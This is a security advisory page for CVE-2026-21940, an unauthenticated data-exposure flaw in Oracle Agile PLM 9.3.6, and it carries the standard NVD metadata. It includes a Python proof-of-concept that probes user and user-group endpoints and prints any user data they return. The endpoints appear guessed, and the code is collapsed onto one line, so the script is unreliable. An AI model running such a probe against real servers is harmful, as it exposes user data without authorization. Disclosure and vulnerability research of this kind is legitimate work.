Security Vulnerability Report
中文
CVE-2026-21940 CVSS 7.5 HIGH

CVE-2026-21940

Published: 2026-01-20 22:15:57
Last Modified: 2026-01-29 20:35:06

Description

Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: User and User Group). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:supply_chain_products_suite:9.3.4:*:*:*:*:*:*:* - VULNERABLE
Oracle Agile PLM 9.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-21940 PoC - Oracle Agile PLM Unauthorized Access # Target: Oracle Agile PLM 9.3.6 # Component: User and User Group def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-21940 """ endpoints = [ "/Agile/ux3/services/userService/users", "/Agile/ux3/services/userGroupService/userGroups", "/Agile/ux3/api/user/list", "/Agile/ux3/api/userGroup/list" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-21940 - Oracle Agile PLM Unauthorized Access\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: print(f"[*] Testing endpoint: {endpoint}") response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'json' in content_type or '{' in response.text[:100]: print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Status: {response.status_code}") print(f"[+] Response preview: {response.text[:500]}...") return True elif response.status_code == 401: print(f"[-] Protected: {endpoint} (401 Unauthorized)") else: print(f"[-] Response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}") print("\n[*] Manual testing recommended") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://vulnerable-server.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21940", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:56.787", "lastModified": "2026-01-29T20:35:05.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: User and User Group). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Agile PLM de Oracle Supply Chain (componente: Usuario y Grupo de Usuarios). La versión compatible que está afectada es 9.3.6. Vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red vía HTTP comprometer Oracle Agile PLM. Ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado a datos críticos o acceso completo a todos los datos accesibles de Oracle Agile PLM. Puntuación Base CVSS 3.1 7.5 (Impactos en la Confidencialidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:supply_chain_products_suite:9.3.4:*:*:*:*:*:*:*", "matchCriteriaId": "B0DA93B4-7030-4F2F-89B6-1E0EFD7EB150"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}